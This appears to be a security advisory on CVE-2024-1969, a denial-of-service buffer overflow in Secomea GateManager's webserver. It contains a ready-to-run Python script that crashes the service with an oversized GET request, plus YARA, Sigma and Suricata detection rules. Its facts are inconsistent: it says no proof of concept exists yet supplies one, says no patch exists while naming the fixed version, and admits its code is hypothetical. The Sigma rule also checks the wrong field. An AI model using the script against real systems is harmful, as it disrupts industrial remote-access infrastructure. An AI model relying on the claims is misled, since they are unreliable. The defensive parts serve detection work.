CVE-2024-1969

Executive Summary

CVE-2024-1969 is a critical buffer overflow vulnerability in Secomea GateManager, specifically within its webserver modules. The flaw allows an unauthenticated attacker to send a specially crafted request that triggers a buffer copy without proper size checking, leading to a denial-of-service (DoS) condition by crashing the GateManager service. With a CVSS score of 8.2, this vulnerability poses a significant risk to operational continuity, especially in industrial environments where GateManager is used for remote access and management. No public proof-of-concept (PoC) or exploit code is currently available, but the potential for weaponization remains high due to the classic nature of the bug.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Service crash leads to total loss of availability.

Threat Level: High. The vulnerability is remotely exploitable without authentication, making it a prime target for adversaries seeking to disrupt industrial control systems (ICS) or remote management infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the webserver modules of Secomea GateManager. The software fails to validate the size of input data before copying it into a fixed-size buffer. This classic buffer overflow (CWE-120) occurs when handling HTTP requests or other network inputs. An attacker can send a payload that exceeds the allocated buffer length, overwriting adjacent memory. In this case, the overflow causes a crash of the GateManager process, resulting in a denial-of-service condition.

The affected versions range from 9.7 up to (but not including) 11.2.624095033. The exact vulnerable function is not publicly documented, but typical buffer overflow patterns involve functions like strcpy, sprintf, or memcpy without bounds checking. The crash is immediate and does not require complex exploitation chains, making it easy to trigger.

Vulnerable vs. Patched Code

Since no official patch or source code is available, the following is a hypothetical example illustrating the vulnerability:

Vulnerable Code (C-style pseudocode):

void handle_request(char *input) {
    char buffer[256];
    strcpy(buffer, input); // No bounds checking
    // Process buffer...
}

Patched Code (C-style pseudocode):

void handle_request(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1); // Bounds checking
    buffer[sizeof(buffer) - 1] = '\0';
    // Process buffer...
}

The patched version uses strncpy with a size limit and ensures null-termination, preventing buffer overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Crash the GateManager service to cause a denial-of-service.

Lab Setup:

• Target: Secomea GateManager version 9.7 to 11.2.624095033 (unpatched).
• Attacker: Kali Linux with Python3 and netcat.

Exploit Script (Python):

import socket

target_ip = "192.168.1.100"
target_port = 80  # Default webserver port

# Craft a payload that exceeds the buffer size
payload = b"A" * 1000  # Adjust size based on testing

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(b"GET /" + payload + b" HTTP/1.1\r\n\r\n")
sock.close()

Execution:

1. Run the script against the target.
2. Monitor the GateManager service; it should crash and become unresponsive.

Blue Team (Defensive)

Detection:

• Monitor for unusually large HTTP requests (e.g., request URIs > 1024 bytes).
• Use network intrusion detection systems (NIDS) to flag anomalous traffic patterns.
• Enable logging on GateManager and review crash logs for buffer overflow indicators.

Mitigation:

• Apply vendor patch when available.
• Restrict network access to GateManager using firewalls or VPNs.
• Implement rate limiting and input validation at the network perimeter.

Indicators of Compromise (IOCs)

• Network: HTTP requests with URIs exceeding 1024 bytes.
• Logs: GateManager crash logs showing memory access violations or segmentation faults.
• Process: GateManager process unexpectedly terminating.
• Memory: Core dumps indicating buffer overflow in webserver modules.

Detection Engineering

YARA Rule

rule CVE_2024_1969_GateManager_BOF {
    meta:
        description = "Detects potential buffer overflow attempts against Secomea GateManager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1969"
    strings:
        $http_get = "GET /" ascii
        $overflow = { 41 41 41 41 } // Pattern of 'A' characters
    condition:
        $http_get and #overflow > 256
}

Sigma Rule

title: CVE-2024-1969 GateManager Buffer Overflow Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with excessively long URIs targeting Secomea GateManager
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|length: > 1024
    condition: selection
falsepositives:
    - Legitimate large requests (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1969 GateManager Buffer Overflow Attempt"; flow:to_server; content:"GET"; http_method; urilen:>1024; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Apply the vendor update to version 11.2.624095033 or later as soon as it becomes available.
2. Workaround: If patching is not possible, restrict network access to GateManager using firewall rules to allow only trusted IPs.
3. Input Validation: Implement web application firewall (WAF) rules to block requests with URIs longer than 1024 bytes.
4. Monitoring: Enable detailed logging and set up alerts for abnormal request patterns or service crashes.
5. Backup: Ensure regular backups of GateManager configuration and data to facilitate recovery after a DoS attack.

Valters IT
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